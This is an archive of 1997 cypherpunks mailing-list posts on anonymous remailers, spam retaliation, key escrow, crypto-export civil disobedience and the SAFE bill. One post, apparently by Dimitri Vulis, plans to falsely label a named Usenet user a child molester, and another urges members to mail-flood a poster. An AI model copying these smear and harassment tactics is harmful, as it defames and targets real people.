MIME-Version: 1.0
Content-Type: text/plain


At 9:25 PM -0800 5/14/97, Kent Crispin wrote:

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents.  I
>have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents...

The main solution to such doubts about remailers and their logging or
snooping tendencies is to use many remailers, encrypted all along the way,
and with the remailers picked from diverse ideological points.

(Other solutions are of course for remailers to move away from the "human
in the loop" system of Unix box-based remailers toward a more
fully-automated, black box approach. This was the basis of Chaum's 1981
system...the remailers implemented in 1992 were acknowledged by all to be
pale shadows of these hardware-based mixes. There are still opportunities
for snooping, if the hardware is either compromised or is not built
according to published specs to reduce such snooping, and this is of course
an issue to discuss. Certain approaches using DC-Nets make even this kind
of collusion problematic.)

Further, a clever little fix is to make one's own remailer site a link in
the chain. All a snooping subset of remailers can do is trace the message
back to your own remailers. Obviously, they can't know if the message was
merely _remailed_ through your site, or _originated_ there. Thus, including
oneself as a remailer also provides excellent plausible deniability.)

But, finally, the most important point:

Whether you, Kent, "trust" certain of us not to snoop or meddle is not the
main point. It is not we who argue that remailers should be controlled, or
limited, or regulated, or banned. It is the government side.

So, we Cypherpunks would be happy to see remailers run by the Greens, the
Maoists, the Panthers, the Weathermen, the Aryan Resistance, the Kulak
Liberation Brigade, the Stonewall Queers, Dykes on Bykes, the Animal
Liberation Front, the Phalangist Party, a hundred other fringe groups, and
a few tens of thousands of individuals and small shops.

Collusion between a carefully--or even randomly--selected chain of, say, 20
of these various and mutually-hostile groups would seem to be "unlikely."

Kent, stop babbling and spend a few hours reading up on the basics of how
remailers work, the issues of collusion, and the discussions we've had for
several years on these issues.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 15 May 1997 14:47:45 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Re: Spam IS Free Speech
Message-ID: <199705150640.XAA07531@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 14 May 97 at 3:46, lucifer Anonymous Remailer wrote:

> Ross Wright wrote:
> > 
> > You can not retaliate against free
> > speech, Rick.  That's a bad thing, plain and simple, black and
> > white.
> 
>   Crock of shit, Ross.

No shit, you just can't send 10,000 megs of info in retaliation for a 
few bits.  Really, there's no call for that.  It's wrong. 

>   It costs me money to download unwanted spam. What's this "free"
> bullshit?

What?  Like 80 cents per gig?  Please a bit here and a byte there 
isn't going to break anyone.  Could someone do the math?

> > Free speech is a right.  You have the right to make some snotty
> > reply, but no right to intentionally harm. 
> 
>   Spammers neither know nor care if they are causing harm to the
> finances or mental well-being of others.

One message in your in box is no excuse for terror tactics.  Mail 
bombs, arp atacks, calls for regulations: aren't you over reacting?  
Just a little?  I think your mental well being is in question anyway.

>   If a spammer declares their right to cause me financial loss and
> denial of service for the time it takes me to rid myself of their
> unwanted intrusion

What, like 5 seconds a week?  Less?  Please.  It just isn't as bad as 
you make it seem.

Shit I love this, the spammers love this.  There is no such thing as
*bad* publicity.  The more you screem the better it is for the "bad
spammers".

> then they can have no expectation that I, in
> turn, will not declare what level of financial loss and denial of
> service I will cause them.

You have no right to deny them more than the few seconds of service 
that you lost.  Any more than that is terror tactics, and a waste of 
time.  You should be working on better projects than "Let's fuck over 
the spammers".  Wow, that's productive.  Shit, man write some useful 
code.
 
> > You, nor anyone else, has a right to lash out at
> > someone for something they say or some ad they send you.
> 
>   So spammers have no right to lash out at my sending them a
> gigabyte of email regarding the evils of spamming. 

A gig for a few bytes.  Why?  That's so lame.  Such a watse of 
talented code writing.  And why are you escalating this?
 
> > > It makes
> > > *me* feel better.
> > 
> > Ahhh, at last the point.  Are you a self centred ass, who's
> > personal feelings are more important that the Constitution? 
> 
>   Ross has failed to explain just how the Constitution promotes the
> spammer's right to intrude upon the spammer's life and cause them
> financial loss while denying that right to the spammee.

Well I've tried to describe that you lose about a dime per year.

>   Ross' personal feelings seem to be important enough to him to cast
> slurs on those who disagree with his black-and-white opinions
> regarding his right to spam others without them having a
> corresponding right to reply in kind.

You can feel free to send me twice as many bytes as I send to you, 
OK?  Feel beter?  No!  You must fuck me over because I sent you my 
latest MLM scam.  Yeah that's so mature!  Come out from behind your 
remailer and state your opinions, wrong as they are.

 >   Gander. Goose.

Right.  If I send you a gig, you send me a gig.  If I send you a meg 
you send me a meg.  A few bytes for a few bytes.  Are you following 
what has upset me about this issue, yet?  Like for Like, Goose, 
Gander.  You said it, but you don't mean it. 

Right?  You are saying if I send you one message, you have the right 
to mail bomb me?  There's no parity there.  

It's very distressing how much of a hot button this issue is.

 >TruthMonger

 Lier. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 15 May 1997 23:55:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Difference in terms
In-Reply-To: <Pine.3.89.9705082019.D10593-0100000@as-node.jena.thur.de>
Message-ID: <3.0.1.32.19970514234337.005e9620@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Lutz Donnerhacke <lutz@as-node.jena.thur.de>writes:
>>   key recovery is if I can get my key
>>   key escrow is if you can get my key

"Key Escrow" was "We want your keys".
"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
"Public Key Infrastructure" was "Here, have some keys"
"Trusted Third Party" was "Hey, trust us, we want your keys"
"Key Recovery" is "OK, that didn't work, but we still want your keys"


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:07:56 +0800
To: cypherpunks@cyberpass.net
Subject: Civil Disobediance
Message-ID: <199705150652.XAA21425@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


"All that matters is how we die: shall we offer our bodies helplessly,
like cattle, to the knife, or, refusing passively to await the end
shall we turn the strength of our anger to one last battle, til,
daring and doing, we fall, drenched with their blood, amongst the
heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

We've seen many sentiments like this one on the list lately.  Such
sentiments are understandable and have a certain visceral appeal.  And
it is good that people who are thinking along these lines are also
telling their friends on the list instead of censoring themselves.

But, these strategies are not the best we can choose to achieve our
true goals.  Few of us wish to be martyrs.

The years long discussion of "crypto policy" has had the unfortunate
and intended effect that it has caused us to become accustomed to
restrictions on sharing ideas.  That doesn't mean we like it, but it
does mean that we consider the control of mathematical ideas to be
expected and somewhat inevitable.  (The same mechanisms we use to
train animals are at work here.)

Many of us have, perhaps, lost our youthful rage at the complete
absurdity of a law which makes it highly illegal to invent some math,
express it in code, and distribute it for free to the world.

Perhaps there is a way to turn the training on the trainers?  Civil
disobediance is the best way to do this.  Were a relatively small
number of people, a thousand for instance, to post the "RSA in 3
lines" code to the world, it would be highly unlikely that anybody at
all would be prosecuted, particularly if a sizeable number of these
people were professors, graduate students, professionals at well known
companies, journalists, politicians?, or otherwise prominent people.
The whole situation would be so absurd they would never dare take it
to court.

If no response results from the first release of code, more people
will feel comfortable jumping in when it becomes clear that they have
a chance to change the world.  The longer somebody waits, the less
opportunity they have to tell their grandkids "I was the 500th person
to publically export RSA back in the late 20th century.  The
government was actually trying to make math illegal!"  Best of all,
anybody "fortunate" enough to be a U.S. citizen can participate, even
if they don't write code themselves.

Having established beyond any doubt that the export of RSA was
possible without repercussions, the lesson will be driven home by
group releases of successively longer mathematical works expressed in
source code.  The first release will be the most challenging.  In no
time at all everybody - including everybody in the government - will
find themselves accustomed to the idea that laws against mathematics
are absurd.  (Even Senators will be able to grasp this unchallenging
concept.)

It is not hard for the government and the newspapers to discredit
militia type activities involving large weapons collections and
chemistry experiments.  But, no matter how much spin is put on it, it
is extremely hard to persuade the public that sending a few lines of
source code is terrorism, especially when they can download it off the
web and see for themselves that it is just, well, source code, and
maybe export it themselves.

The way to get started is for people to pledge to post "RSA in 3
lines" if certain conditions are met.  For instance, "I will post 'RSA
in 3 lines' if 500 people promise to do it as well, among them being
Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
taken without allies!

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:11:45 +0800
To: cypherpunks@algebra.com
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21825@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 15:16:02 +0800
To: cypherpunks@cyberpass.net
Subject: Sweeps Week in Portland
Message-ID: <199705150701.AAA21833@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


News from the Beirut of the West:

The FBI, in cooperation with the Portland police and the TV show "Cops" is ending a six month survelence project of downtown Portland.  Tonight, armed with large books containing pictures of suspects, they have congregated in the center of town arresting all of those caught in their video web.  Over the last 6-8 hours they have been arresting hundreds of suspects in the downtown area.

The arrests are a "show of force" in the downtown area.  The police used to watch over the people.  Now they are watching the people.

Expect to see similar activity in the town where you live.

"Be seeing you!"

DonutMonger #666







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 15 May 1997 07:33:56 +0800
To: cypherpunks@algebra.com
Subject: DES challenge news (fwd)
Message-ID: <m0wRmD5-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Distributed key cracking efforts have been discussed in detail on
cypherpunks and coderpunks for quite some time.  A Swedish group
trying to solve RSADSI's DES challenge chose to ignore the results.
Here is what they got (from RISKS 19.14):

>Date: Mon, 12 May 1997 17:56:54 +0200 (MET DST)
>From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
>Subject: DES challenge news

You may remember RISKS-19.09, in which I discussed the risks in a
network-wide attack on the RSA DES challenge: The Swedish group at
http://www.des.sollentuna.se/ didn't give out its source, so the client
could, in fact, do anything, such as crack a master EC-card key.  The reason
given was client integrity.

Well, a month after this, the promised source code release has not happened.
Instead, it appears that somebody disassembled part of the client, made a
version that reported fake "done" blocks, and then sent these to the
servers.

Moral?  Don't ever think that nobody can read compiled code.  Don't try to
run a cooperative effort like this in a closed development model.

Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.

------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 15:46:22 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <19970515002241.20918@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 09:28:16AM -0400, Tom Allard wrote:
> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a 
> hero by fellow cops.  The prosecution never really challenged the Twinkie 
> defense, nor did they bring up politics or homophobia as motives.  With a 
> prosecution like that, who needs a defense?

Dan White committed suicide, after a while.  He probably died sooner
than the state could have killed him, with appeals and all.  Anyway, 
Feinstein has had a fair amount of first hand experience with gun 
violence -- more than most people on this list.  Her stand on gun 
control is probably the most principled and honest one she has made.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 15 May 1997 14:40:56 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: OTP
In-Reply-To: <199705150028.UAA32507@dhp.com>
Message-ID: <Pine.A41.3.95.970515002318.47996A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 15 May 1997 16:18:34 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Feinswine should be terminated from any role in politics
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <v03007808afa0803a6de4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 PM -0800 5/14/97, Kent Crispin wrote:

>than the state could have killed him, with appeals and all.  Anyway,
>Feinstein has had a fair amount of first hand experience with gun
>violence -- more than most people on this list.  Her stand on gun
>control is probably the most principled and honest one she has made.

I agree. Her stand on gun control and guns _is_ her most principle and
honest one.

After all, she lobbied for gun control, denied she had ever carried a gun,
was found to have been carrying a gun in her purse while denying it and
while proposing to disarm the rest of us, and then dismissed her carrying
of the gun on the grounds that it was just a "teeny little gun" (or
something like this...I don't have her exact quote handy).

Her other stands are even less honest and principled than this, so Kent is
techically correct.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 15 May 1997 13:53:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970515012224.16535G-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim wrote:

> We're basically under assault from all directions. The bozos in Congress
> and state governments are spinning out new laws and obscure regulations
> faster than we can react...and of course they're using our money to
> generate these laws and lobby for them. Further, a mostly-brainwashed
> Washington media population is surprising uncritical of these blizzard
> drifts of new laws.

Hmmm... Do I get counted in the "mostly-brainwashed" category?

FYI, here are two bills that Feinstein introduced recently:

     S. 504. Children's Privacy Protection and Parental Empowerment Act
     of 1997. Prohibits the sale of personal information about children
     without their parents' consent. Introduced by Feinstein (D-CA) on
     3/20/97. Referred to the Committee on the Judiciary.
     
     S. 600. Personal Information Privacy Act of 1997. Amends FCRA to
     prohibit sale on non-public information, prohibits use of SSN as ID
     number, limits use of SSN on drivers liscenses. Introduced by
     Feinstein (D-CA) on 4/16/97. Referred to the Committee on Finance.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 15 May 1997 14:18:04 +0800
To: cypherpunks@toad.com
Subject: Response to "SAFE bill and cutting crypto-deals"
Message-ID: <Pine.LNX.3.95.970515020300.16023C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 14 May 1997 23:00:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Response to "SAFE bill and cutting crypto-deals"


*******

Date: Thu, 15 May 1997 01:56:20 -0400
From: Jason Gull <jgull@UMICH.EDU>

While I don't particularly like this segment of the proposed bill either,
I think Declan is engaging in some minor hyperbole when he says "this
language has no business becoming law."  We already have federal laws
which make the use of a telephone or the mails to commit a felony into an
additional offense, so this provision -- quite similar to obstruction of
evidence, from the look of it -- doesn't seem at odds with precedent. 
With so many "hurdles," as Declan puts it, the language seems tailored to
the specific case where incriminating information is encrypted solely to
evade law enforcement and (like the passing of incriminating information
to one's attorney in an attempt to make it "privileged") it doesn't seem
outlandish to think that such conduct ought to be criminalized.  Granted,
there's the danger of the "slippery slope" -- that allowing any
restrictions on crypto will lead to a gradual encroachment of government
into other uses of cryptography.  However, whether or not it is a good
idea or not, politics and previosu law seem to firmly support such a
provision. 

-Jason Gull
jgull@umich.edu







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 14:36:23 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705150629.CAA27911@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
...
>The "there ought to be a law" crowd is in high gear.

I seem to recall a proposal from the late 19th century suggesting that
the Patent Office be closed because there was nothing left to invent.
In a similar, but more serious vein, I think Congress should be shut
down, because there are no new laws that we need.

Excepting, of course, my earlier anonymous suggestion that children be
kept from "soft targets".

I'm not a TruthMonger, but I play one on T.V.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 15 May 1997 11:58:28 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <199705150241.EAA25822@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Yes, you are missing a lot.  The bit about foreign inteligence agencies is
almost certainly a canard created by one Strassman at a conference in
Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's
irrelevant.

See 

<A HREF="http://www.law.miami.edu/~froomkin/articles/ocean.htm">
http://www.law.miami.edu/~froomkin/articles/ocean.htm
</A> and
<A HREF="http://www.law.miami.edu/~froomkin/articles/arbitr.htm">
http://www.law.miami.edu/~froomkin/articles/arbitr.htm
</A>

for the gory details.

Note that I use a remailer beacause this group may be gatewayed to Usenet
and I am trying to keep down the spam...

On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?
> 
> Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 22:02:50 +0800
To: cypherpunks@cyberpass.net
Subject: (rumor) US TV host canned over comments
Message-ID: <199705151350.GAA04288@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Can anyone confirm for me that a US talk show host was canned for airing
her thoughts on the aid package for Iran's earthquake victims?  I heard
"Only bad people and terrorists live there.  If I had my way I'd drop an
atomic bomb on Tehran."  Anyone?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 16 May 1997 05:38:41 +0800
To: cypherpunks@toad.com
Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY
Message-ID: <v0302093dafa09e05df1b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



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To: IRTHEORY@unimelb.edu.au

This message was sent to all institutions included in the ISN.
Please spread it within your institution. Apologize cross-posting.

*************************************************************
**                    CONFERENCE AGENDA                    **
**           INTERNATIONAL RELATIONS AND SECURITY          **
**                     ON THE INTERNET                     **
**                                                         **
**                          Run by                         **
**    ISN - International Relations and Security Network   **
**                 http://www.isn.ethz.ch                  **
*************************************************************

TO ANNOUNCE YOUR FORTHCOMING CONFERENCES ON THE INTERNET
USE OUR ADD-A-LINK FORM AT http://www.isn.ethz.ch

*************************************************************

As part of its electronic services, the ISN has newly
established the following directories:

1) An electronic CONFERENCE AGENDA in the field of
international relations, regional security, as well as
peace and conflict studies (including both physical
and virtual conferences). Conference announcements are
accepted independently from having an own home page.

2) a special DIRECTORY OF ELECTRONIC DISCUSSION LISTS
in the same fields.

The aim of the two new services is to facilitate information
exchange about international academic events and to promote
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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 20:35:46 +0800
To: cypherpunks@toad.com
Subject: Re: Pedophile Russ Allberry continues to flame Steve Boursy
In-Reply-To: <Pine.BSI.3.96.970515050435.12061E-100000@shell.thecia.net>
Message-ID: <akTq7D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


kibo <kibo@thecia.net> writes:

> > [DrG - if you want to follow up, please dig up the original article, not
> > my repose - thank you]
> >
> O.K., I will chop all of the header befor I post it, but this Russ Allbery

Thanks!!

> is becoming the biggest problem on usenet, since he supports Tim Skirvin.
> I think it is time for Russ to grow up and deal with the Net like a man.
>
> Time for him to become a child molester.

Well - if you want to say you heard that he's a child molester or that he
sounds like one, no decent ISP will have a problem. :-)

I think it would be fun to get Russ back on this list.

> > By the way, has anyone had a chance to verify whether Stan Kalisch who work
> > for the educational testing services is our net.acquaintance?  Thanks.
> >
>
> Yes, I called them at that number, and and boss called me back.

Great - is he or isn't he the same person as skalisch@crl??

Thanks

> All Russ has to do is say the word, and Tim Skirvin will stop his
> shit.  Russ Allbery is just as responsible for the Skirvin shit as
> Timmy boy himself is.
>
> Time to rip Russ Allbery a new asshole...

Maybe we should get Tim Skirvin on this list. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 22:47:08 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515073000.29288A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:16:06 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:

>* The heinous section of the law that would create
>  broad new Federal felonies for some uses of crypto was
>  replaced. The amendment, offered by Rep. Delahunt
>  and adopted unanimously includes eight hurdles:
>
>	"Any person who, in the commission of a felony under
>	a criminal statute of the United States, knowingly
>	and willfully encrypts incriminating information
>	relating to that felony with the intent to conceal
>	such information for the purposes of avoiding
>	detection by law enforcement agencies or
>	prosecution..."
>
>  It's a solid improvement, but this language still has
>  no business becoming law. Problem is, nobody seems to
>  have the balls to stand up and yank it. Delahunt,
>  the amendment's sponsor, said the bill without the
>  amendment "could have a chilling effect on the
>  development and use of encryption." He added: "I
>  recognize that some supporters of this amendment would
>  like that this section be removed altogether." But it
>  doesn't seem likely.

I'm more than a little surprised at your take on this amendment.  This
exact language wasn't created by Representatives who don't know better, it
was created, shopped, and marketed to the hill by the folks at the ACLU
(Don Haines) and EPIC.  In response to concerns from the net, they
coordinated the letter from many groups to Goodlatte about the criminal
provision which just about everyone signed onto.

Then, EPIC and the ACLU worked out the language above, and got it passed
verbatim in response to the concerns of the net community.  They did a
great job here and really deserve a lot of kudos.  Why are you slighting
their work?

-S








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 22:54:36 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515073053.29288D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 07:26:23 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Shabbir,

You're mistaken. I'm not "slighting their work" -- I called it a "solid
improvement."

Yeah, I know who shopped this around. I spoke with David and Don about
this last week, and didn't write about it then for fear of jeopardizing
their negotiations.

And come on, you're "more than a little surprised" by my take? Give me a
break. My position now is consistent with my position before -- and comes
as no surprise. Reread my previous posts. 

But you're missing the point: this whole "crypto in a crime" section
should not be in this bill in the first place. The new portion is much
better than the old, but it still has no business being law.

-Declan


On Thu, 15 May 1997, Shabbir J. Safdar wrote:

> At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:
> 
> >* The heinous section of the law that would create
> >  broad new Federal felonies for some uses of crypto was
> >  replaced. The amendment, offered by Rep. Delahunt
> >  and adopted unanimously includes eight hurdles:
> >
> >	"Any person who, in the commission of a felony under
> >	a criminal statute of the United States, knowingly
> >	and willfully encrypts incriminating information
> >	relating to that felony with the intent to conceal
> >	such information for the purposes of avoiding
> >	detection by law enforcement agencies or
> >	prosecution..."
> >
> >  It's a solid improvement, but this language still has
> >  no business becoming law. Problem is, nobody seems to
> >  have the balls to stand up and yank it. Delahunt,
> >  the amendment's sponsor, said the bill without the
> >  amendment "could have a chilling effect on the
> >  development and use of encryption." He added: "I
> >  recognize that some supporters of this amendment would
> >  like that this section be removed altogether." But it
> >  doesn't seem likely.
> 
> I'm more than a little surprised at your take on this amendment.  This
> exact language wasn't created by Representatives who don't know better, it
> was created, shopped, and marketed to the hill by the folks at the ACLU
> (Don Haines) and EPIC.  In response to concerns from the net, they
> coordinated the letter from many groups to Goodlatte about the criminal
> provision which just about everyone signed onto.
> 
> Then, EPIC and the ACLU worked out the language above, and got it passed
> verbatim in response to the concerns of the net community.  They did a
> great job here and really deserve a lot of kudos.  Why are you slighting
> their work?
> 
> -S







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Thu, 15 May 1997 23:18:20 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <199705151458.HAA11100@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Tom Allard writes:
> We can tally up the deaths in Rawanda to those created by
> government.

Oh, this is just charming.  People are still dying, and now you're
going to sit on the sidelines making tally marks for your pissing
contest.

You can't count up human lives and say ``this entity is more evil than
this entity.''  It doesn't work that way.  People are people,
regardless, and usually don't deserve that kind of premature
termination.

As for the running dictionary flame, by all means, piss on.  Perhaps
